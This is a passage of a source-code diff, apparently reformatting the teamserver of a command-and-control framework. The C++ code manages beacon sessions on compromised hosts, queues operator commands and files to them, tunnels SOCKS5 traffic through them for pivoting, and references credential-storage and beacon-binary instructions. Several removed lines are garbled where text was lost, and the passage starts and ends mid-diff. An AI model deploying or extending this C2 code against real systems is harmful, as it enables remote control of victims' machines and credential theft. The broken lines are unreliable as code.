{ - m_logger->trace("Listener {0}", m_listeners[i]->getListenerHash()); + for (int i = 0; i < m_listeners.size(); i++) + { + m_logger->trace("Listener {0}", m_listeners[i]->getListenerHash()); - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); - m_logger->trace("Session {0} From {1} {2}", session->getBeaconHash(), session->getListenerHash(), session->getLastProofOfLife()); + m_logger->trace("Session {0} From {1} {2}", session->getBeaconHash(), session->getListenerHash(), session->getLastProofOfLife()); - teamserverapi::Session sessionTmp; - sessionTmp.set_listenerhash(session->getListenerHash()); - sessionTmp.set_beaconhash(session->getBeaconHash()); - sessionTmp.set_hostname(session->getHostname()); - sessionTmp.set_username(session->getUsername()); - sessionTmp.set_arch(session->getArch()); - sessionTmp.set_privilege(session->getPrivilege()); - sessionTmp.set_os(session->getOs()); - sessionTmp.set_lastproofoflife(session->getLastProofOfLife()); - sessionTmp.set_killed(session->isSessionKilled()); - sessionTmp.set_internalips(session->getInternalIps()); - sessionTmp.set_processid(session->getProcessId()); - sessionTmp.set_additionalinformation(session->getAdditionalInformation()); + teamserverapi::Session sessionTmp; + sessionTmp.set_listenerhash(session->getListenerHash()); + sessionTmp.set_beaconhash(session->getBeaconHash()); + sessionTmp.set_hostname(session->getHostname()); + sessionTmp.set_username(session->getUsername()); + sessionTmp.set_arch(session->getArch()); + sessionTmp.set_privilege(session->getPrivilege()); + sessionTmp.set_os(session->getOs()); + sessionTmp.set_lastproofoflife(session->getLastProofOfLife()); + sessionTmp.set_killed(session->isSessionKilled()); + sessionTmp.set_internalips(session->getInternalIps()); + sessionTmp.set_processid(session->getProcessId()); + sessionTmp.set_additionalinformation(session->getAdditionalInformation()); - bool result = isListenerAlive(session->getListenerHash()); + bool result = isListenerAlive(session->getListenerHash()); - if(!session->isSessionKilled() && result) - writer->Write(sessionTmp); - } - } - - m_logger->trace("GetSessions end"); - - return grpc::Status::OK; -} - - -grpc::Status TeamServer::StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response) -{ - auto authStatus = ensureAuthenticated(context); - if (!authStatus.ok()) - return authStatus; - - m_logger->trace("StopSession"); - - std::string beaconHash=sessionToStop->beaconhash(); - std::string listenerHash=sessionToStop->listenerhash(); - - if(beaconHash.size()==SizeBeaconHash) - { - for (int i = 0; i < m_listeners.size(); i++) - { - if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) - { - C2Message c2Message; - int res = prepMsg(EndInstruction, c2Message); - - if(res!=0) - { - std::string hint = c2Message.returnvalue(); - - response->set_message(hint); - response->set_status(teamserverapi::KO); - } - - if(!c2Message.instruction().empty()) - { - m_listeners[i]->queueTask(beaconHash, c2Message); - m_listeners[i]->markSessionKilled(beaconHash); - m_logger->info("StopSession command queued for beacon {0} on listener {1}", beaconHash, listenerHash); - } - - return grpc::Status::OK; - } - } + if (!session->isSessionKilled() && result) + writer->Write(sessionTmp); } + } - m_logger->warn("StopSession request ignored: session {0} on listener {1} not found", beaconHash, listenerHash); + m_logger->trace("GetSessions end"); - m_logger->trace("StopSession end"); - - return grpc::Status::OK; + return grpc::Status::OK; } +grpc::Status TeamServer::StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + m_logger->trace("StopSession"); + + std::string beaconHash = sessionToStop->beaconhash(); + std::string listenerHash = sessionToStop->listenerhash(); + + if (beaconHash.size() == SizeBeaconHash) + { + for (int i = 0; i < m_listeners.size(); i++) + { + if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) + { + C2Message c2Message; + int res = prepMsg(EndInstruction, c2Message); + + if (res != 0) + { + std::string hint = c2Message.returnvalue(); + + response->set_message(hint); + response->set_status(teamserverapi::KO); + } + + if (!c2Message.instruction().empty()) + { + m_listeners[i]->queueTask(beaconHash, c2Message); + m_listeners[i]->markSessionKilled(beaconHash); + m_logger->info("StopSession command queued for beacon {0} on listener {1}", beaconHash, listenerHash); + } + + return grpc::Status::OK; + } + } + } + + m_logger->warn("StopSession request ignored: session {0} on listener {1} not found", beaconHash, listenerHash); + + m_logger->trace("StopSession end"); + + return grpc::Status::OK; +} void TeamServer::socksThread() { - std::string dataIn; + std::string dataIn; std::string dataOut; - m_isSocksServerBinded=true; - while(m_isSocksServerBinded) + m_isSocksServerBinded = true; + while (m_isSocksServerBinded) { - // if session is killed (beacon probably dead) we end the server - if(m_socksSession->isSessionKilled()) - { - m_isSocksServerBinded=false; - - for(std::size_t i=0; itunnelCount(); i++) - m_socksServer->resetTunnel(i); - } - - C2Message c2Message = m_socksListener->getSocksTaskResult(m_socksSession->getBeaconHash()); - - // if the beacon request stopSocks we end the server - if(c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopSocksCmd) - { - m_socksServer->stop(); - m_isSocksServerBinded=false; - - for(std::size_t i=0; itunnelCount(); i++) - m_socksServer->resetTunnel(i); - } - - for(std::size_t i=0; itunnelCount(); i++) + // if session is killed (beacon probably dead) we end the server + if (m_socksSession->isSessionKilled()) { - SocksTunnelServer* tunnel = m_socksServer->getTunnel(i); - - if(tunnel!=nullptr) + m_isSocksServerBinded = false; + + for (std::size_t i = 0; i < m_socksServer->tunnelCount(); i++) + m_socksServer->resetTunnel(i); + } + + C2Message c2Message = m_socksListener->getSocksTaskResult(m_socksSession->getBeaconHash()); + + // if the beacon request stopSocks we end the server + if (c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopSocksCmd) + { + m_socksServer->stop(); + m_isSocksServerBinded = false; + + for (std::size_t i = 0; i < m_socksServer->tunnelCount(); i++) + m_socksServer->resetTunnel(i); + } + + for (std::size_t i = 0; i < m_socksServer->tunnelCount(); i++) + { + SocksTunnelServer* tunnel = m_socksServer->getTunnel(i); + + if (tunnel != nullptr) { - int id = tunnel->getId(); - SocksState state = tunnel->getState(); - if(state == SocksState::INIT) - { - int ip = tunnel->getIpDst(); - int port = tunnel->getPort(); - - m_logger->debug("Socks5 to {}:{}", std::to_string(ip), std::to_string(port)); + int id = tunnel->getId(); + SocksState state = tunnel->getState(); + if (state == SocksState::INIT) + { + int ip = tunnel->getIpDst(); + int port = tunnel->getPort(); - C2Message c2MessageToSend; - c2MessageToSend.set_instruction(Socks5Cmd); - c2MessageToSend.set_cmd(InitCmd); - c2MessageToSend.set_data(std::to_string(ip)); - c2MessageToSend.set_args(std::to_string(port)); - c2MessageToSend.set_pid(id); + m_logger->debug("Socks5 to {}:{}", std::to_string(ip), std::to_string(port)); - if(!c2MessageToSend.instruction().empty()) - m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); + C2Message c2MessageToSend; + c2MessageToSend.set_instruction(Socks5Cmd); + c2MessageToSend.set_cmd(InitCmd); + c2MessageToSend.set_data(std::to_string(ip)); + c2MessageToSend.set_args(std::to_string(port)); + c2MessageToSend.set_pid(id); - tunnel->setState(SocksState::HANDSHAKE); - } - else if(state == SocksState::HANDSHAKE) - { - m_logger->trace("Socks5 wait handshake {}", id); + if (!c2MessageToSend.instruction().empty()) + m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); - if(c2Message.instruction() == Socks5Cmd && c2Message.cmd() == InitCmd && c2Message.pid() == id) - { - m_logger->debug("Socks5 handshake received {}", id); + tunnel->setState(SocksState::HANDSHAKE); + } + else if (state == SocksState::HANDSHAKE) + { + m_logger->trace("Socks5 wait handshake {}", id); - if(c2Message.data() == "fail") - { - m_logger->debug("Socks5 handshake failed {}", id); - m_socksServer->resetTunnel(i); - } - else - { - m_logger->debug("Socks5 handshake succed {}", id); - tunnel->finishHandshake(); - tunnel->setState(SocksState::RUN); + if (c2Message.instruction() == Socks5Cmd && c2Message.cmd() == InitCmd && c2Message.pid() == id) + { + m_logger->debug("Socks5 handshake received {}", id); - dataIn=""; - int res = tunnel->process(dataIn, dataOut); + if (c2Message.data() == "fail") + { + m_logger->debug("Socks5 handshake failed {}", id); + m_socksServer->resetTunnel(i); + } + else + { + m_logger->debug("Socks5 handshake succed {}", id); + tunnel->finishHandshake(); + tunnel->setState(SocksState::RUN); - if(res<=0) - { - m_logger->debug("Socks5 stop"); + dataIn = ""; + int res = tunnel->process(dataIn, dataOut); - m_socksServer->resetTunnel(i); + if (res <= 0) + { + m_logger->debug("Socks5 stop"); - C2Message c2MessageToSend; - c2MessageToSend.set_instruction(Socks5Cmd); - c2MessageToSend.set_cmd(StopCmd); - c2MessageToSend.set_pid(id); + m_socksServer->resetTunnel(i); - if(!c2MessageToSend.instruction().empty()) - m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); - } - else - { - m_logger->debug("Socks5 send data to beacon"); + C2Message c2MessageToSend; + c2MessageToSend.set_instruction(Socks5Cmd); + c2MessageToSend.set_cmd(StopCmd); + c2MessageToSend.set_pid(id); - C2Message c2MessageToSend; - c2MessageToSend.set_instruction(Socks5Cmd); - c2MessageToSend.set_cmd(RunCmd); - c2MessageToSend.set_pid(id); - c2MessageToSend.set_data(dataOut); + if (!c2MessageToSend.instruction().empty()) + m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); + } + else + { + m_logger->debug("Socks5 send data to beacon"); - if(!c2MessageToSend.instruction().empty()) - m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); - } - } - } - else if(c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopCmd && c2Message.pid() == id) - { - m_socksServer->resetTunnel(i); - } - } - else if(state == SocksState::RUN) - { - m_logger->trace("Socks5 run {}", id); + C2Message c2MessageToSend; + c2MessageToSend.set_instruction(Socks5Cmd); + c2MessageToSend.set_cmd(RunCmd); + c2MessageToSend.set_pid(id); + c2MessageToSend.set_data(dataOut); - dataIn=""; - if(c2Message.instruction() == Socks5Cmd && c2Message.cmd() == RunCmd && c2Message.pid() == id) - { - m_logger->debug("Socks5 {}: data received from beacon", id); + if (!c2MessageToSend.instruction().empty()) + m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); + } + } + } + else if (c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopCmd && c2Message.pid() == id) + { + m_socksServer->resetTunnel(i); + } + } + else if (state == SocksState::RUN) + { + m_logger->trace("Socks5 run {}", id); - dataIn=c2Message.data(); - - int res = tunnel->process(dataIn, dataOut); + dataIn = ""; + if (c2Message.instruction() == Socks5Cmd && c2Message.cmd() == RunCmd && c2Message.pid() == id) + { + m_logger->debug("Socks5 {}: data received from beacon", id); - m_logger->debug("Socks5 process, res {}, dataIn {}, dataOut {}", res, dataIn.size(), dataOut.size()); + dataIn = c2Message.data(); - // TODO do we stop if dataOut.size()==0 ???? - // if(res<=0 || dataOut.size()==0) - if(res<=0) - { - m_logger->debug("Socks5 stop"); + int res = tunnel->process(dataIn, dataOut); - m_socksServer->resetTunnel(i); + m_logger->debug("Socks5 process, res {}, dataIn {}, dataOut {}", res, dataIn.size(), dataOut.size()); - C2Message c2MessageToSend; - c2MessageToSend.set_instruction(Socks5Cmd); - c2MessageToSend.set_cmd(StopCmd); - c2MessageToSend.set_pid(id); + // TODO do we stop if dataOut.size()==0 ???? + // if(res<=0 || dataOut.size()==0) + if (res <= 0) + { + m_logger->debug("Socks5 stop"); - if(!c2MessageToSend.instruction().empty()) - m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); - } - else - { - m_logger->debug("Socks5 send data to beacon"); + m_socksServer->resetTunnel(i); - C2Message c2MessageToSend; - c2MessageToSend.set_instruction(Socks5Cmd); - c2MessageToSend.set_cmd(RunCmd); - c2MessageToSend.set_pid(id); - c2MessageToSend.set_data(dataOut); + C2Message c2MessageToSend; + c2MessageToSend.set_instruction(Socks5Cmd); + c2MessageToSend.set_cmd(StopCmd); + c2MessageToSend.set_pid(id); - if(!c2MessageToSend.instruction().empty()) - m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); - } - } - else if(c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopCmd && c2Message.pid() == id) - { - m_socksServer->resetTunnel(i); - } - } + if (!c2MessageToSend.instruction().empty()) + m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); + } + else + { + m_logger->debug("Socks5 send data to beacon"); + + C2Message c2MessageToSend; + c2MessageToSend.set_instruction(Socks5Cmd); + c2MessageToSend.set_cmd(RunCmd); + c2MessageToSend.set_pid(id); + c2MessageToSend.set_data(dataOut); + + if (!c2MessageToSend.instruction().empty()) + m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); + } + } + else if (c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopCmd && c2Message.pid() == id) + { + m_socksServer->resetTunnel(i); + } + } } } - // Remove ended tunnels - m_socksServer->cleanTunnel(); + // Remove ended tunnels + m_socksServer->cleanTunnel(); std::this_thread::sleep_for(std::chrono::milliseconds(5)); } - m_logger->info("End SocksServer binding"); + m_logger->info("End SocksServer binding"); return; } - -grpc::Status TeamServer::SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response) +grpc::Status TeamServer::SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response) { - auto authStatus = ensureAuthenticated(context); - if (!authStatus.ok()) - return authStatus; + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - m_logger->trace("SendCmdToSession"); + m_logger->trace("SendCmdToSession"); - std::string input = command->cmd(); - std::string beaconHash = command->beaconhash(); - std::string listenerHash = command->listenerhash(); - - for (int i = 0; i < m_listeners.size(); i++) - { - if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) - { - std::shared_ptr session = m_listeners[i]->getSessionPtr(beaconHash, listenerHash); - std::string os = session->getOs(); - bool isWindows=false; - if(os == "Windows") - isWindows=true; + std::string input = command->cmd(); + std::string beaconHash = command->beaconhash(); + std::string listenerHash = command->listenerhash(); - m_logger->trace("SendCmdToSession: beaconHash {0} listenerHash {1}", beaconHash, listenerHash); - if (!input.empty()) - { - C2Message c2Message; - int res = prepMsg(input, c2Message, isWindows); + for (int i = 0; i < m_listeners.size(); i++) + { + if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(beaconHash, listenerHash); + std::string os = session->getOs(); + bool isWindows = false; + if (os == "Windows") + isWindows = true; - m_logger->debug("SendCmdToSession {0} {1} {2}", beaconHash, c2Message.instruction(), c2Message.cmd()); + m_logger->trace("SendCmdToSession: beaconHash {0} listenerHash {1}", beaconHash, listenerHash); + if (!input.empty()) + { + C2Message c2Message; + int res = prepMsg(input, c2Message, isWindows); - // echec init message - if(res!=0) - { - std::string hint = c2Message.returnvalue(); + m_logger->debug("SendCmdToSession {0} {1} {2}", beaconHash, c2Message.instruction(), c2Message.cmd()); - response->set_message(hint); - response->set_status(teamserverapi::KO); + // echec init message + if (res != 0) + { + std::string hint = c2Message.returnvalue(); - m_logger->debug("SendCmdToSession Fail prepMsg {0}", hint); - } + response->set_message(hint); + response->set_status(teamserverapi::KO); - // Set the uuid to track the message and correlate with the response to get a clean output in the client - if(!c2Message.instruction().empty()) - { - m_logger->info("Queued command for beacon {} → '{}'", beaconHash.substr(0, 8), input); + m_logger->debug("SendCmdToSession Fail prepMsg {0}", hint); + } - std::string inputFile = c2Message.inputfile(); - const std::string& payload = c2Message.data(); + // Set the uuid to track the message and correlate with the response to get a clean output in the client + if (!c2Message.instruction().empty()) + { + m_logger->info("Queued command for beacon {} → '{}'", beaconHash.substr(0, 8), input); - if (!inputFile.empty() && !payload.empty()) - { - std::string md5 = computeBufferMd5(payload); - m_logger->info( - "File attached to task: '{}' | size={} bytes | MD5={}", - inputFile, - payload.size(), - md5 - ); - } + std::string inputFile = c2Message.inputfile(); + const std::string& payload = c2Message.data(); - std::string uuid = generateUUID8(); - c2Message.set_uuid(uuid); - m_listeners[i]->queueTask(beaconHash, c2Message); + if (!inputFile.empty() && !payload.empty()) + { + std::string md5 = computeBufferMd5(payload); + m_logger->info( + "File attached to task: '{}' | size={} bytes | MD5={}", + inputFile, + payload.size(), + md5); + } - c2Message.set_cmd(input); - c2Message.set_data(""); - m_sentC2Messages.push_back(std::move(c2Message)); - } - } - } - } + std::string uuid = generateUUID8(); + c2Message.set_uuid(uuid); + m_listeners[i]->queueTask(beaconHash, c2Message); - m_logger->trace("SendCmdToSession end"); + c2Message.set_cmd(input); + c2Message.set_data(""); + m_sentC2Messages.push_back(std::move(c2Message)); + } + } + } + } - return grpc::Status::OK; + m_logger->trace("SendCmdToSession end"); + + return grpc::Status::OK; } - int TeamServer::handleCmdResponse() { - m_logger->trace("handleCmdResponse"); - - while(m_handleCmdResponseThreadRuning) - { - // loop through all the listeners - for (int i = 0; i < m_listeners.size(); i++) - { - // loop through all the sessions - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); - std::string beaconHash = session->getBeaconHash(); + m_logger->trace("handleCmdResponse"); - // loop through all the messages - C2Message c2Message = m_listeners[i]->getTaskResult(beaconHash); - while(!c2Message.instruction().empty()) - { - m_logger->trace("GetResponseFromSession {0} {1} {2}", beaconHash, c2Message.instruction(), c2Message.cmd()); + while (m_handleCmdResponseThreadRuning) + { + // loop through all the listeners + for (int i = 0; i < m_listeners.size(); i++) + { + // loop through all the sessions + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); + std::string beaconHash = session->getBeaconHash(); - std::string instructionCmd = c2Message.instruction(); - std::string errorMsg; + // loop through all the messages + C2Message c2Message = m_listeners[i]->getTaskResult(beaconHash); + while (!c2Message.instruction().empty()) + { + m_logger->trace("GetResponseFromSession {0} {1} {2}", beaconHash, c2Message.instruction(), c2Message.cmd()); - // check if the message is just a listener polling mean to update listener informations - if(instructionCmd==ListenerPollCmd) - { - m_logger->debug("beaconHash {0} {1}", beaconHash, c2Message.returnvalue()); + std::string instructionCmd = c2Message.instruction(); + std::string errorMsg; - // Do nothing and continue with the next item - c2Message = m_listeners[i]->getTaskResult(beaconHash); - continue; - } + // check if the message is just a listener polling mean to update listener informations + if (instructionCmd == ListenerPollCmd) + { + m_logger->debug("beaconHash {0} {1}", beaconHash, c2Message.returnvalue()); - // check if the message is from a loaded module and handle: - // - followup - // - the resoltion of the error code - for(auto it = m_moduleCmd.begin() ; it != m_moduleCmd.end(); ++it ) - { - // djb2 produce a unsigne long long - if (instructionCmd == (*it)->getName() || instructionCmd == std::to_string((*it)->getHash())) - { - m_logger->debug("Call followUp"); - (*it)->followUp(c2Message); - (*it)->errorCodeToMsg(c2Message, errorMsg); - } - } + // Do nothing and continue with the next item + c2Message = m_listeners[i]->getTaskResult(beaconHash); + continue; + } - // check if the message is from a common module and handle: - // - the resoltion of the error code - std::string ccInstructionString = m_commonCommands.translateCmdToInstruction(instructionCmd); - for(int i=0; igetName() || instructionCmd == std::to_string((*it)->getHash())) + { + m_logger->debug("Call followUp"); + (*it)->followUp(c2Message); + (*it)->errorCodeToMsg(c2Message, errorMsg); + } + } - - m_logger->debug("GetResponseFromSession {0} {1}", beaconHash, c2Message.uuid()); + // check if the message is from a common module and handle: + // - the resoltion of the error code + std::string ccInstructionString = m_commonCommands.translateCmdToInstruction(instructionCmd); + for (int i = 0; i < m_commonCommands.getNumberOfCommand(); i++) + if (ccInstructionString == m_commonCommands.getCommand(i)) + m_commonCommands.errorCodeToMsg(c2Message, errorMsg); - // Get the command lign sent from the list of sent messages using the uuid to get a clean client output - std::string cmd = c2Message.cmd(); - for(int jj=0; jjdebug("GetResponseFromSession {0} {1}", beaconHash, c2Message.uuid()); - m_logger->debug("GetResponseFromSession {0} {1}", beaconHash, cmd); + // Get the command lign sent from the list of sent messages using the uuid to get a clean client output + std::string cmd = c2Message.cmd(); + for (int jj = 0; jj < m_sentC2Messages.size(); jj++) + { + if (m_sentC2Messages[jj].uuid() == c2Message.uuid()) + { + cmd = m_sentC2Messages[jj].cmd(); + m_sentC2Messages.erase(m_sentC2Messages.begin() + jj); + break; + } + } - // Send the response to the client - teamserverapi::CommandResponse commandResponseTmp; - commandResponseTmp.set_beaconhash(beaconHash); - commandResponseTmp.set_instruction(cmd); - commandResponseTmp.set_cmd(""); - if(!errorMsg.empty()) - { - commandResponseTmp.set_response(errorMsg); - m_cmdResponses.push_back(commandResponseTmp); - } - else if(!c2Message.returnvalue().empty()) - { - commandResponseTmp.set_response(c2Message.returnvalue()); - m_cmdResponses.push_back(commandResponseTmp); - } - else - { - m_logger->debug("GetResponseFromSession no output"); - } - - // Get the next message - c2Message = m_listeners[i]->getTaskResult(beaconHash); - } - - } - } + m_logger->debug("GetResponseFromSession {0} {1}", beaconHash, cmd); - std::this_thread::sleep_for(std::chrono::milliseconds(1000)); - } + // Send the response to the client + teamserverapi::CommandResponse commandResponseTmp; + commandResponseTmp.set_beaconhash(beaconHash); + commandResponseTmp.set_instruction(cmd); + commandResponseTmp.set_cmd(""); + if (!errorMsg.empty()) + { + commandResponseTmp.set_response(errorMsg); + m_cmdResponses.push_back(commandResponseTmp); + } + else if (!c2Message.returnvalue().empty()) + { + commandResponseTmp.set_response(c2Message.returnvalue()); + m_cmdResponses.push_back(commandResponseTmp); + } + else + { + m_logger->debug("GetResponseFromSession no output"); + } - m_logger->trace("handleCmdResponse end"); + // Get the next message + c2Message = m_listeners[i]->getTaskResult(beaconHash); + } + } + } - return 0; + std::this_thread::sleep_for(std::chrono::milliseconds(1000)); + } + + m_logger->trace("handleCmdResponse end"); + + return 0; } - -grpc::Status TeamServer::GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer) +grpc::Status TeamServer::GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer) { - auto authStatus = ensureAuthenticated(context); - if (!authStatus.ok()) - return authStatus; + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - m_logger->trace("GetResponseFromSession"); + m_logger->trace("GetResponseFromSession"); - std::string targetSession=session->beaconhash(); + std::string targetSession = session->beaconhash(); - // Retrieve all client metadata + // Retrieve all client metadata auto client_metadata = context->client_metadata(); - std::string clientId; + std::string clientId; // Iterate through metadata and print key-value pairs - for (const auto& meta : client_metadata) - { + for (const auto& meta : client_metadata) + { std::string key(meta.first.data(), meta.first.length()); std::string value(meta.second.data(), meta.second.length()); // std::cout << "Metadata - Key: " << key << ", Value: " << value << std::endl; - if(key=="clientid") - clientId = value; + if (key == "clientid") + clientId = value; } - if(clientId.empty()) - return grpc::Status::OK; + if (clientId.empty()) + return grpc::Status::OK; - // New client detected - Initialize entry for this client - if (m_sentResponses.find(clientId) == m_sentResponses.end()) - m_sentResponses[clientId] = {}; + // New client detected - Initialize entry for this client + if (m_sentResponses.find(clientId) == m_sentResponses.end()) + m_sentResponses[clientId] = {}; - std::vector& sentIndices = m_sentResponses[clientId]; - for (size_t i = 0; i < m_cmdResponses.size(); ++i) - { - if(targetSession==m_cmdResponses[i].beaconhash()) - { - // If the response was not already sent to this client - if (std::find(sentIndices.begin(), sentIndices.end(), i) == sentIndices.end()) - { - writer->Write(m_cmdResponses[i]); - sentIndices.push_back(i); - } - } - } + std::vector& sentIndices = m_sentResponses[clientId]; + for (size_t i = 0; i < m_cmdResponses.size(); ++i) + { + if (targetSession == m_cmdResponses[i].beaconhash()) + { + // If the response was not already sent to this client + if (std::find(sentIndices.begin(), sentIndices.end(), i) == sentIndices.end()) + { + writer->Write(m_cmdResponses[i]); + sentIndices.push_back(i); + } + } + } - return grpc::Status::OK; + return grpc::Status::OK; - m_logger->trace("GetResponseFromSession end"); + m_logger->trace("GetResponseFromSession end"); - return grpc::Status::OK; + return grpc::Status::OK; } - const std::string HelpCmd = "help"; - -grpc::Status TeamServer::GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse) +grpc::Status TeamServer::GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse) { - auto authStatus = ensureAuthenticated(context); - if (!authStatus.ok()) - return authStatus; + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - m_logger->trace("GetHelp"); + m_logger->trace("GetHelp"); - std::string input = command->cmd(); - std::string beaconHash = command->beaconhash(); - std::string listenerHash = command->listenerhash(); - - bool isWindows=false; - for (int i = 0; i < m_listeners.size(); i++) - { - if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) - { - std::shared_ptr session = m_listeners[i]->getSessionPtr(beaconHash, listenerHash); - std::string os = session->getOs(); - if(os == "Windows") - isWindows=true; - } - } + std::string input = command->cmd(); + std::string beaconHash = command->beaconhash(); + std::string listenerHash = command->listenerhash(); - std::vector splitedCmd; - std::string delimiter = " "; - splitList(input, delimiter, splitedCmd); + bool isWindows = false; + for (int i = 0; i < m_listeners.size(); i++) + { + if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(beaconHash, listenerHash); + std::string os = session->getOs(); + if (os == "Windows") + isWindows = true; + } + } - string instruction = splitedCmd[0]; + std::vector splitedCmd; + std::string delimiter = " "; + splitList(input, delimiter, splitedCmd); - std::string output; - if (instruction == HelpCmd) - { - if (splitedCmd.size() < 2) - { - output += "- Beacon Commands:\n"; - for(int i=0; iosCompatibility() & OS_WINDOWS) - { - output += " "; - output += (*it)->getName(); - output += "\n"; - } - } - } - else - { - output += "\n- Modules Commands Linux:\n"; - for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) - { - if((*it)->osCompatibility() & OS_LINUX) - { - output += " "; - output += (*it)->getName(); - output += "\n"; - } - } - } - } - else - { - string instruction = splitedCmd[1]; - bool isModuleFound=false; - for(int i=0; igetName()) - { - output += (*it)->getInfo(); - output += "\n"; - isModuleFound=true; - } - } - if(!isModuleFound) - { - output += "Module "; - output += instruction; - output += " not found."; - output += "\n"; - } - } - } + std::string output; + if (instruction == HelpCmd) + { + if (splitedCmd.size() < 2) + { + output += "- Beacon Commands:\n"; + for (int i = 0; i < m_commonCommands.getNumberOfCommand(); i++) + { + output += " "; + output += m_commonCommands.getCommand(i); + output += "\n"; + } - teamserverapi::CommandResponse commandResponseTmp; - commandResponseTmp.set_cmd(input); - commandResponseTmp.set_response(output); + if (isWindows) + { + output += "\n- Modules Commands Windows:\n"; + for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) + { + if ((*it)->osCompatibility() & OS_WINDOWS) + { + output += " "; + output += (*it)->getName(); + output += "\n"; + } + } + } + else + { + output += "\n- Modules Commands Linux:\n"; + for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) + { + if ((*it)->osCompatibility() & OS_LINUX) + { + output += " "; + output += (*it)->getName(); + output += "\n"; + } + } + } + } + else + { + string instruction = splitedCmd[1]; + bool isModuleFound = false; + for (int i = 0; i < m_commonCommands.getNumberOfCommand(); i++) + { + if (instruction == m_commonCommands.getCommand(i)) + { + output += m_commonCommands.getHelp(instruction); + output += "\n"; + isModuleFound = true; + } + } + for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) + { + if (instruction == (*it)->getName()) + { + output += (*it)->getInfo(); + output += "\n"; + isModuleFound = true; + } + } + if (!isModuleFound) + { + output += "Module "; + output += instruction; + output += " not found."; + output += "\n"; + } + } + } - *commandResponse = commandResponseTmp; + teamserverapi::CommandResponse commandResponseTmp; + commandResponseTmp.set_cmd(input); + commandResponseTmp.set_response(output); - m_logger->trace("GetHelp end"); + *commandResponse = commandResponseTmp; - return grpc::Status::OK; + m_logger->trace("GetHelp end"); + + return grpc::Status::OK; } - // Split input based on spaces and single quotes // Use single quote to passe aguments as a single parameters even if it's contain spaces // Singles quotes are removed void static inline splitInputCmd(const std::string& input, std::vector& splitedList) { - std::string tmp=""; - for( size_t i=0; iifa_addr != NULL && temp_addr->ifa_addr->sa_family == AF_INET) - { - if(strcmp(temp_addr->ifa_name, interface.c_str())==0) - { + while (temp_addr != NULL) + { + if (temp_addr->ifa_addr != NULL && temp_addr->ifa_addr->sa_family == AF_INET) + { + if (strcmp(temp_addr->ifa_name, interface.c_str()) == 0) + { char addressBuffer[INET_ADDRSTRLEN]; - inet_ntop(AF_INET, &((struct sockaddr_in *)temp_addr->ifa_addr)->sin_addr, addressBuffer, INET_ADDRSTRLEN); + inet_ntop(AF_INET, &((struct sockaddr_in*)temp_addr->ifa_addr)->sin_addr, addressBuffer, INET_ADDRSTRLEN); ipAddress = addressBuffer; } } @@ -1578,7 +1553,6 @@ std::string getIPAddress(std::string &interface) return ipAddress; } - const std::string InfoListenerInstruction = "infoListener"; const std::string GetBeaconBinaryInstruction = "getBeaconBinary"; const std::string PutIntoUploadDirInstruction = "putIntoUploadDir"; @@ -1589,971 +1563,965 @@ const std::string AddCredentialInstruction = "addCred"; const std::string GetCredentialInstruction = "getCred"; const std::string SocksInstruction_ = "socks"; - -grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response) +grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response) { - auto authStatus = ensureAuthenticated(context); - if (!authStatus.ok()) - return authStatus; + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - 